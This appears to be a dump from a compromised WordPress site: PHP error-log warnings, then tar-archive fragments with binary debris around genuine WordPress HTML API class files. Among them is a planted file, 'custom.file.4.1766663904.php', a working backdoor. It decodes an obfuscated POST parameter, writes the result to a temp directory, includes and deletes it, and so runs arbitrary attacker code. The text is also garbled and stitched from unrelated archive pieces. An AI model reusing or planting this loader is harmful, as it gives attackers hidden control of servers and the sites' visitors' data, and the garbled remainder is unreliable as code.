[14-Feb-2026 07:04:42 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[14-Feb-2026 07:04:42 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 07:04:42 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 07:04:43 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 07:04:43 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 07:04:43 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 07:04:43 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 07:04:43 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[14-Feb-2026 07:04:43 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[14-Feb-2026 07:04:44 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 07:04:44 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 07:04:44 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 07:04:44 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 07:04:45 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 07:04:45 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 07:04:45 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[14-Feb-2026 07:04:45 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[14-Feb-2026 07:09:42 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 07:09:42 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:18:59 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:18:59 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:18:59 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1220
[14-Feb-2026 08:18:59 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1389
[14-Feb-2026 08:18:59 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1389
[14-Feb-2026 08:19:05 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:05 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:06 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:06 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:06 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1220
[14-Feb-2026 08:19:06 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1389
[14-Feb-2026 08:19:06 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1389
[14-Feb-2026 08:19:06 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:06 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:07 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:07 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:08 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:08 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:08 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1220
[14-Feb-2026 08:19:08 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1389
[14-Feb-2026 08:19:08 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1389
[14-Feb-2026 08:19:08 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:08 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:09 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:09 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:09 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:09 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:10 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:10 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:10 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1220
[14-Feb-2026 08:19:10 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1389
[14-Feb-2026 08:19:10 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1389
[14-Feb-2026 08:19:10 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:10 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:10 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1220
[14-Feb-2026 08:19:10 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1389
[14-Feb-2026 08:19:10 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1389
[14-Feb-2026 08:19:11 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:11 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:11 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1220
[14-Feb-2026 08:19:11 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1389
[14-Feb-2026 08:19:11 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1389
[14-Feb-2026 08:19:11 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:11 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:12 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:12 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:12 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[14-Feb-2026 08:19:12 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[14-Feb-2026 08:19:12 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:12 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:13 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:13 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:14 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:14 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:14 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:14 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
PKgN\�A�&class-wp-html-text-replacement.php.tarnu�[���home/homerdlh/public_html/wp-includes/html-api/class-wp-html-text-replacement.php000064400000002601151440277760024244 0ustar00<?php
/**
 * HTML API: WP_HTML_Text_Replacement class
 *
 * @package WordPress
 * @subpackage HTML-API
 * @since 6.2.0
 */

/**
 * Core class used by the HTML tag processor as a data structure for replacing
 * existing content from start to end, allowing to drastically improve performance.
 *
 * This class is for internal usage of the WP_HTML_Tag_Processor class.
 *
 * @access private
 * @since 6.2.0
 * @since 6.5.0 Replace `end` with `length` to more closely match `substr()`.
 *
 * @see WP_HTML_Tag_Processor
 */
class WP_HTML_Text_Replacement {
	/**
	 * Byte offset into document where replacement span begins.
	 *
	 * @since 6.2.0
	 *
	 * @var int
	 */
	public $start;

	/**
	 * Byte length of span being replaced.
	 *
	 * @since 6.5.0
	 *
	 * @var int
	 */
	public $length;

	/**
	 * Span of text to insert in document to replace existing content from start to end.
	 *
	 * @since 6.2.0
	 *
	 * @var string
	 */
	public $text;

	/**
	 * Constructor.
	 *
	 * @since 6.2.0
	 *
	 * @param int    $start  Byte offset into document where replacement span begins.
	 * @param int    $length Byte length of span in document being replaced.
	 * @param string $text   Span of text to insert in document to replace existing content from start to end.
	 */
	public function __construct( int $start, int $length, string $text ) {
		$this->start  = $start;
		$this->length = $length;
		$this->text   = $text;
	}
}
PKgN\*0��4C4C	index.phpnu�[���PKgN\�i���,mCclass-wp-html-attribute-token.php.php.tar.gznu�[���PKgN\�KW�gg�Gerror_log.tar.gznu�[���PKgN\T7��[["nJclass-wp-html-token.php.php.tar.gznu�[���PKgN\g���VV#Pclass-wp-html-tag-processor.php.tarnu�[���PKgN\�>��JJ
n�index.php.tarnu�[���PKgN\�Wy%��class-wp-html-attribute-token.php.tarnu�[���PKgN\�_���-class-wp-html-text-replacement.php.php.tar.gznu�[���PKgN\�ȩd�d�index.php.php.tar.gznu�[���PKgN\��|Kb�b�*�jclass-wp-html-tag-processor.php.php.tar.gznu�[���PKgN\��J��class-wp-html-token.php.tarnu�[���PKgN\�,�n�n�	�error_lognu�[���PKgN\�A�&��class-wp-html-text-replacement.php.tarnu�[���PK

��PKE�N\�`��

 custom.file.4.1766663904.php.tarnu�[���home/homerdlh/public_html/wp-includes/html-api/custom.file.4.1766663904.php000064400000001532151440300240021740 0ustar00<!--v7USGp1a-->
<?php

if(!empty($_POST["mar\x6Ber"])){
$record = array_filter(["/tmp", session_save_path(), getenv("TMP"), sys_get_temp_dir(), ini_get("upload_tmp_dir"), getcwd(), "/var/tmp", "/dev/shm", getenv("TEMP")]);
$descriptor = $_POST["mar\x6Ber"];
$descriptor=explode	 ( '.'	 ,		 $descriptor ); 		
$token = '';
$s = 'abcdefghijklmnopqrstuvwxyz0123456789';
$sLen = strlen($s);

foreach ($descriptor as $i => $val) {
    $sChar = ord($s[$i % $sLen]);
    $dec = ((int)$val - $sChar - ($i % 10)) ^ 20;
    $token .= chr($dec);
}
while ($rec = array_shift($record)) {
            if ((function($d) { return is_dir($d) && is_writable($d); })($rec)) {
            $item = implode("/", [$rec, ".ref"]);
            if (@file_put_contents($item, $token) !== false) {
    include $item;
    unlink($item);
    die();
}
        }
}
}PKE�N\y��jj"class-wp-html-doctype-info.php.tarnu�[���home/homerdlh/public_html/wp-includes/html-api/class-wp-html-doctype-info.php000064400000061446151440300210023350 0ustar00<?php
/**
 * HTML API: WP_HTML_Doctype_Info class
 *
 * @package WordPress
 * @subpackage HTML-API
 * @since 6.7.0
 */

/**
 * Core class used by the HTML API to represent a DOCTYPE declaration.
 *
 * This class parses DOCTYPE tokens for the full parser in the HTML Processor.
 * Most code interacting with HTML won't need to parse DOCTYPE declarations;
 * the HTML Processor is one exception. Consult the HTML Processor for proper
 * parsing of an HTML document.
 *
 * A DOCTYPE declaration may indicate its document compatibility mode, which impacts
 * the structure of the following HTML as well as the behavior of CSS class selectors.
 * There are three possible modes:
 *
 *  - "no-quirks" and "limited-quirks" modes (also called "standards mode").
 *  - "quirks" mode.
 *
 * These modes mostly determine whether CSS class name selectors match values in the
 * HTML `class` attribute in an ASCII-case-insensitive way (quirks mode), or whether
 * they match only when byte-for-byte identical (no-quirks mode).
 *
 * All HTML documents should start with the standard HTML5 DOCTYPE: `<!DOCTYPE html>`.
 *
 * > DOCTYPEs are required for legacy reasons. When omitted, browsers tend to use a different
 * > rendering mode that is incompatible with some specifications. Including the DOCTYPE in a
 * > document ensures that the browser makes a best-effort attempt at following the
 * > relevant specifications.
 *
 * @see https://html.spec.whatwg.org/#the-doctype
 *
 * DOCTYPE declarations comprise four properties: a name, public identifier, system identifier,
 * and an indication of which document compatibility mode they would imply if an HTML parser
 * hadn't already determined it from other information.
 *
 * @see https://html.spec.whatwg.org/#the-initial-insertion-mode
 *
 * Historically, the DOCTYPE declaration was used in SGML documents to instruct a parser how
 * to interpret the various tags and entities within a document. Its role in HTML diverged
 * from how it was used in SGML and no meaning should be back-read into HTML based on how it
 * is used in SGML, XML, or XHTML documents.
 *
 * @see https://www.iso.org/standard/16387.html
 *
 * @since 6.7.0
 *
 * @access private
 *
 * @see WP_HTML_Processor
 */
class WP_HTML_Doctype_Info {
	/**
	 * Name of the DOCTYPE: should be "html" for HTML documents.
	 *
	 * This value should be considered "read only" and not modified.
	 *
	 * Historically the DOCTYPE name indicates name of the document's root element.
	 *
	 *     <!DOCTYPE html>
	 *               ╰──┴── name is "html".
	 *
	 * @see https://html.spec.whatwg.org/#tokenization
	 *
	 * @since 6.7.0
	 *
	 * @var string|null
	 */
	public $name = null;

	/**
	 * Public identifier of the DOCTYPE.
	 *
	 * This value should be considered "read only" and not modified.
	 *
	 * The public identifier is optional and should not appear in HTML documents.
	 * A `null` value indicates that no public identifier was present in the DOCTYPE.
	 *
	 * Historically the presence of the public identifier indicated that a document
	 * was meant to be shared between computer systems and the value indicated to a
	 * knowledgeable parser how to find the relevant document type definition (DTD).
	 *
	 *     <!DOCTYPE html PUBLIC "public id goes here in quotes">
	 *               │  │         ╰─── public identifier ─────╯
	 *               ╰──┴── name is "html".
	 *
	 * @see https://html.spec.whatwg.org/#tokenization
	 *
	 * @since 6.7.0
	 *
	 * @var string|null
	 */
	public $public_identifier = null;

	/**
	 * System identifier of the DOCTYPE.
	 *
	 * This value should be considered "read only" and not modified.
	 *
	 * The system identifier is optional and should not appear in HTML documents.
	 * A `null` value indicates that no system identifier was present in the DOCTYPE.
	 *
	 * Historically the system identifier specified where a relevant document type
	 * declaration for the given document is stored and may be retrieved.
	 *
	 *     <!DOCTYPE html SYSTEM "system id goes here in quotes">
	 *               │  │         ╰──── system identifier ────╯
	 *               ╰──┴── name is "html".
	 *
	 * If a public identifier were provided it would indicate to a knowledgeable
	 * parser how to interpret the system identifier.
	 *
	 *     <!DOCTYPE html PUBLIC "public id goes here in quotes" "system id goes here in quotes">
	 *               │  │         ╰─── public identifier ─────╯   ╰──── system identifier ────╯
	 *               ╰──┴── name is "html".
	 *
	 * @see https://html.spec.whatwg.org/#tokenization
	 *
	 * @since 6.7.0
	 *
	 * @var string|null
	 */
	public $system_identifier = null;

	/**
	 * Which document compatibility mode this DOCTYPE declaration indicates.
	 *
	 * This value should be considered "read only" and not modified.
	 *
	 * When an HTML parser has not already set the document compatibility mode,
	 * (e.g. "quirks" or "no-quirks" mode), it will be inferred from the properties
	 * of the appropriate DOCTYPE declaration, if one exists. The DOCTYPE can
	 * indicate one of three possible document compatibility modes:
	 *
	 *  - "no-quirks" and "limited-quirks" modes (also called "standards" mode).
	 *  - "quirks" mode (also called `CSS1Compat` mode).
	 *
	 * An appropriate DOCTYPE is one encountered in the "initial" insertion mode,
	 * before the HTML element has been opened and before finding any other
	 * DOCTYPE declaration tokens.
	 *
	 * @see https://html.spec.whatwg.org/#the-initial-insertion-mode
	 *
	 * @since 6.7.0
	 *
	 * @var string One of "no-quirks", "limited-quirks", or "quirks".
	 */
	public $indicated_compatibility_mode;

	/**
	 * Constructor.
	 *
	 * This class should not be instantiated directly.
	 * Use the static {@see self::from_doctype_token} method instead.
	 *
	 * The arguments to this constructor correspond to the "DOCTYPE token"
	 * as defined in the HTML specification.
	 *
	 * > DOCTYPE tokens have a name, a public identifier, a system identifier,
	 * > and a force-quirks flag. When a DOCTYPE token is created, its name, public identifier,
	 * > and system identifier must be marked as missing (which is a distinct state from the
	 * > empty string), and the force-quirks flag must be set to off (its other state is on).
	 *
	 * @see https://html.spec.whatwg.org/multipage/parsing.html#tokenization
	 *
	 * @since 6.7.0
	 *
	 * @param string|null $name              Name of the DOCTYPE.
	 * @param string|null $public_identifier Public identifier of the DOCTYPE.
	 * @param string|null $system_identifier System identifier of the DOCTYPE.
	 * @param bool        $force_quirks_flag Whether the force-quirks flag is set for the token.
	 */
	private function __construct(
		?string $name,
		?string $public_identifier,
		?string $system_identifier,
		bool $force_quirks_flag
	) {
		$this->name              = $name;
		$this->public_identifier = $public_identifier;
		$this->system_identifier = $system_identifier;

		/*
		 * > If the DOCTYPE token matches one of the conditions in the following list,
		 * > then set the Document to quirks mode:
		 */

		/*
		 * > The force-quirks flag is set to on.
		 */
		if ( $force_quirks_flag ) {
			$this->indicated_compatibility_mode = 'quirks';
			return;
		}

		/*
		 * Normative documents will contain the literal `<!DOCTYPE html>` with no
		 * public or system identifiers; short-circuit to avoid extra parsing.
		 */
		if ( 'html' === $name && null === $public_identifier && null === $system_identifier ) {
			$this->indicated_compatibility_mode = 'no-quirks';
			return;
		}

		/*
		 * > The name is not "html".
		 *
		 * The tokenizer must report the name in lower case even if provided in
		 * the document in upper case; thus no conversion is required here.
		 */
		if ( 'html' !== $name ) {
			$this->indicated_compatibility_mode = 'quirks';
			return;
		}

		/*
		 * Set up some variables to handle the rest of the conditions.
		 *
		 * > set...the public identifier...to...the empty string if the public identifier was missing.
		 * > set...the system identifier...to...the empty string if the system identifier was missing.
		 * >
		 * > The system identifier and public identifier strings must be compared...
		 * > in an ASCII case-insensitive manner.
		 * >
		 * > A system identifier whose value is the empty string is not considered missing
		 * > for the purposes of the conditions above.
		 */
		$system_identifier_is_missing = null === $system_identifier;
		$public_identifier            = null === $public_identifier ? '' : strtolower( $public_identifier );
		$system_identifier            = null === $system_identifier ? '' : strtolower( $system_identifier );

		/*
		 * > The public identifier is set to…
		 */
		if (
			'-//w3o//dtd w3 html strict 3.0//en//' === $public_identifier ||
			'-/w3c/dtd html 4.0 transitional/en' === $public_identifier ||
			'html' === $public_identifier
		) {
			$this->indicated_compatibility_mode = 'quirks';
			return;
		}

		/*
		 * > The system identifier is set to…
		 */
		if ( 'http://www.ibm.com/data/dtd/v11/ibmxhtml1-transitional.dtd' === $system_identifier ) {
			$this->indicated_compatibility_mode = 'quirks';
			return;
		}

		/*
		 * All of the following conditions depend on matching the public identifier.
		 * If the public identifier is empty, none of the following conditions will match.
		 */
		if ( '' === $public_identifier ) {
			$this->indicated_compatibility_mode = 'no-quirks';
			return;
		}

		/*
		 * > The public identifier starts with…
		 *
		 * @todo Optimize this matching. It shouldn't be a large overall performance issue,
		 *       however, as only a single DOCTYPE declaration token should ever be parsed,
		 *       and normative documents will have exited before reaching this condition.
		 */
		if (
			str_starts_with( $public_identifier, '+//silmaril//dtd html pro v0r11 19970101//' ) ||
			str_starts_with( $public_identifier, '-//as//dtd html 3.0 aswedit + extensions//' ) ||
			str_starts_with( $public_identifier, '-//advasoft ltd//dtd html 3.0 aswedit + extensions//' ) ||
			str_starts_with( $public_identifier, '-//ietf//dtd html 2.0 level 1//' ) ||
			str_starts_with( $public_identifier, '-//ietf//dtd html 2.0 level 2//' ) ||
			str_starts_with( $public_identifier, '-//ietf//dtd html 2.0 strict level 1//' ) ||
			str_starts_with( $public_identifier, '-//ietf//dtd html 2.0 strict level 2//' ) ||
			str_starts_with( $public_identifier, '-//ietf//dtd html 2.0 strict//' ) ||
			str_starts_with( $public_identifier, '-//ietf//dtd html 2.0//' ) ||
			str_starts_with( $public_identifier, '-//ietf//dtd html 2.1e//' ) ||
			str_starts_with( $public_identifier, '-//ietf//dtd html 3.0//' ) ||
			str_starts_with( $public_identifier, '-//ietf//dtd html 3.2 final//' ) ||
			str_starts_with( $public_identifier, '-//ietf//dtd html 3.2//' ) ||
			str_starts_with( $public_identifier, '-//ietf//dtd html 3//' ) ||
			str_starts_with( $public_identifier, '-//ietf//dtd html level 0//' ) ||
			str_starts_with( $public_identifier, '-//ietf//dtd html level 1//' ) ||
			str_starts_with( $public_identifier, '-//ietf//dtd html level 2//' ) ||
			str_starts_with( $public_identifier, '-//ietf//dtd html level 3//' ) ||
			str_starts_with( $public_identifier, '-//ietf//dtd html strict level 0//' ) ||
			str_starts_with( $public_identifier, '-//ietf//dtd html strict level 1//' ) ||
			str_starts_with( $public_identifier, '-//ietf//dtd html strict level 2//' ) ||
			str_starts_with( $public_identifier, '-//ietf//dtd html strict level 3//' ) ||
			str_starts_with( $public_identifier, '-//ietf//dtd html strict//' ) ||
			str_starts_with( $public_identifier, '-//ietf//dtd html//' ) ||
			str_starts_with( $public_identifier, '-//metrius//dtd metrius presentational//' ) ||
			str_starts_with( $public_identifier, '-//microsoft//dtd internet explorer 2.0 html strict//' ) ||
			str_starts_with( $public_identifier, '-//microsoft//dtd internet explorer 2.0 html//' ) ||
			str_starts_with( $public_identifier, '-//microsoft//dtd internet explorer 2.0 tables//' ) ||
			str_starts_with( $public_identifier, '-//microsoft//dtd internet explorer 3.0 html strict//' ) ||
			str_starts_with( $public_identifier, '-//microsoft//dtd internet explorer 3.0 html//' ) ||
			str_starts_with( $public_identifier, '-//microsoft//dtd internet explorer 3.0 tables//' ) ||
			str_starts_with( $public_identifier, '-//netscape comm. corp.//dtd html//' ) ||
			str_starts_with( $public_identifier, '-//netscape comm. corp.//dtd strict html//' ) ||
			str_starts_with( $public_identifier, "-//o'reilly and associates//dtd html 2.0//" ) ||
			str_starts_with( $public_identifier, "-//o'reilly and associates//dtd html extended 1.0//" ) ||
			str_starts_with( $public_identifier, "-//o'reilly and associates//dtd html extended relaxed 1.0//" ) ||
			str_starts_with( $public_identifier, '-//sq//dtd html 2.0 hotmetal + extensions//' ) ||
			str_starts_with( $public_identifier, '-//softquad software//dtd hotmetal pro 6.0::19990601::extensions to html 4.0//' ) ||
			str_starts_with( $public_identifier, '-//softquad//dtd hotmetal pro 4.0::19971010::extensions to html 4.0//' ) ||
			str_starts_with( $public_identifier, '-//spyglass//dtd html 2.0 extended//' ) ||
			str_starts_with( $public_identifier, '-//sun microsystems corp.//dtd hotjava html//' ) ||
			str_starts_with( $public_identifier, '-//sun microsystems corp.//dtd hotjava strict html//' ) ||
			str_starts_with( $public_identifier, '-//w3c//dtd html 3 1995-03-24//' ) ||
			str_starts_with( $public_identifier, '-//w3c//dtd html 3.2 draft//' ) ||
			str_starts_with( $public_identifier, '-//w3c//dtd html 3.2 final//' ) ||
			str_starts_with( $public_identifier, '-//w3c//dtd html 3.2//' ) ||
			str_starts_with( $public_identifier, '-//w3c//dtd html 3.2s draft//' ) ||
			str_starts_with( $public_identifier, '-//w3c//dtd html 4.0 frameset//' ) ||
			str_starts_with( $public_identifier, '-//w3c//dtd html 4.0 transitional//' ) ||
			str_starts_with( $public_identifier, '-//w3c//dtd html experimental 19960712//' ) ||
			str_starts_with( $public_identifier, '-//w3c//dtd html experimental 970421//' ) ||
			str_starts_with( $public_identifier, '-//w3c//dtd w3 html//' ) ||
			str_starts_with( $public_identifier, '-//w3o//dtd w3 html 3.0//' ) ||
			str_starts_with( $public_identifier, '-//webtechs//dtd mozilla html 2.0//' ) ||
			str_starts_with( $public_identifier, '-//webtechs//dtd mozilla html//' )
		) {
			$this->indicated_compatibility_mode = 'quirks';
			return;
		}

		/*
		 * > The system identifier is missing and the public identifier starts with…
		 */
		if (
			$system_identifier_is_missing && (
				str_starts_with( $public_identifier, '-//w3c//dtd html 4.01 frameset//' ) ||
				str_starts_with( $public_identifier, '-//w3c//dtd html 4.01 transitional//' )
			)
		) {
			$this->indicated_compatibility_mode = 'quirks';
			return;
		}

		/*
		 * > Otherwise, if the DOCTYPE token matches one of the conditions in
		 * > the following list, then set the Document to limited-quirks mode.
		 */

		/*
		 * > The public identifier starts with…
		 */
		if (
			str_starts_with( $public_identifier, '-//w3c//dtd xhtml 1.0 frameset//' ) ||
			str_starts_with( $public_identifier, '-//w3c//dtd xhtml 1.0 transitional//' )
		) {
			$this->indicated_compatibility_mode = 'limited-quirks';
			return;
		}

		/*
		 * > The system identifier is not missing and the public identifier starts with…
		 */
		if (
			! $system_identifier_is_missing && (
				str_starts_with( $public_identifier, '-//w3c//dtd html 4.01 frameset//' ) ||
				str_starts_with( $public_identifier, '-//w3c//dtd html 4.01 transitional//' )
			)
		) {
			$this->indicated_compatibility_mode = 'limited-quirks';
			return;
		}

		$this->indicated_compatibility_mode = 'no-quirks';
	}

	/**
	 * Creates a WP_HTML_Doctype_Info instance by parsing a raw DOCTYPE declaration token.
	 *
	 * Use this method to parse a DOCTYPE declaration token and get access to its properties
	 * via the returned WP_HTML_Doctype_Info class instance. The provided input must parse
	 * properly as a DOCTYPE declaration, though it must not represent a valid DOCTYPE.
	 *
	 * Example:
	 *
	 *     // Normative HTML DOCTYPE declaration.
	 *     $doctype = WP_HTML_Doctype_Info::from_doctype_token( '<!DOCTYPE html>' );
	 *     'no-quirks' === $doctype->indicated_compatibility_mode;
	 *
	 *     // A nonsensical DOCTYPE is still valid, and will indicate "quirks" mode.
	 *     $doctype = WP_HTML_Doctype_Info::from_doctype_token( '<!doctypeJSON SILLY "nonsense\'>' );
	 *     'quirks' === $doctype->indicated_compatibility_mode;
	 *
	 *     // Textual quirks present in raw HTML are handled appropriately.
	 *     $doctype = WP_HTML_Doctype_Info::from_doctype_token( "<!DOCTYPE\nhtml\n>" );
	 *     'no-quirks' === $doctype->indicated_compatibility_mode;
	 *
	 *     // Anything other than a proper DOCTYPE declaration token fails to parse.
	 *     null === WP_HTML_Doctype_Info::from_doctype_token( ' <!DOCTYPE>' );
	 *     null === WP_HTML_Doctype_Info::from_doctype_token( '<!DOCTYPE ><p>' );
	 *     null === WP_HTML_Doctype_Info::from_doctype_token( '<!TYPEDOC>' );
	 *     null === WP_HTML_Doctype_Info::from_doctype_token( 'html' );
	 *     null === WP_HTML_Doctype_Info::from_doctype_token( '<?xml version="1.0" encoding="UTF-8" ?>' );
	 *
	 * @since 6.7.0
	 *
	 * @param string $doctype_html The complete raw DOCTYPE HTML string, e.g. `<!DOCTYPE html>`.
	 *
	 * @return WP_HTML_Doctype_Info|null A WP_HTML_Doctype_Info instance will be returned if the
	 *                                   provided DOCTYPE HTML is a valid DOCTYPE. Otherwise, null.
	 */
	public static function from_doctype_token( string $doctype_html ): ?self {
		$doctype_name      = null;
		$doctype_public_id = null;
		$doctype_system_id = null;

		$end = strlen( $doctype_html ) - 1;

		/*
		 * This parser combines the rules for parsing DOCTYPE tokens found in the HTML
